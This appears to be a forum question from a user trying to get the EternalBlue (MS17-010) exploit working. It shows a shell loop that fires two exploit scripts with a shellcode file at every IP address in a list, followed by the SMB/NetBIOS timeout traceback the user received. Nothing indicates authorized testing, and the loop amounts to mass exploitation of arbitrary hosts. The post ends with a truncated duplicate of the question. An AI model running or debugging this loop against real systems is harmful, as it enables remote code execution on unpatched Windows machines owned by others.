I have error each exploit ip. Whay this error?
Code:
for ip in cat ips;
do
python MS17-010/eternalblue_exploit7.py $ip MS17-010/shellcode/sc_all.bin
python MS17-010/eternalblue_exploit8.py $ip MS17-010/shellcode/sc_all.bin
done
Error:
shellcode size: 1739
numGroomConn: 4
Traceback (most recent call last):
File "MS17-010/eternalblue_exploit7.py", line 563, in
exploit(TARGET, sc, numGroomConn)
File "MS17-010/eternalblue_exploit7.py", line 473, in exploit
conn = smb.SMB(target, target)
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2402, in init
self.neg_session()
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2605, in neg_session
smb = self.recvSMB()
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2473, in recvSMB
r = self._sess.recv_packet(self.__timeout)
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 855, in recv_packet
data = self.read(timeout)
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 933, in read
data = self.read_function(4, timeout)
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 918, in non_polling_read
raise NetBIOSTimeout
impacket.nmb.NetBIOSTimeout: The NETBIOS connection with the remote host timed out.
and
socket.error: [Errno 104] Connection reset by peer
I have error each exploit ip. Whay this error? Code:
Error:
and
...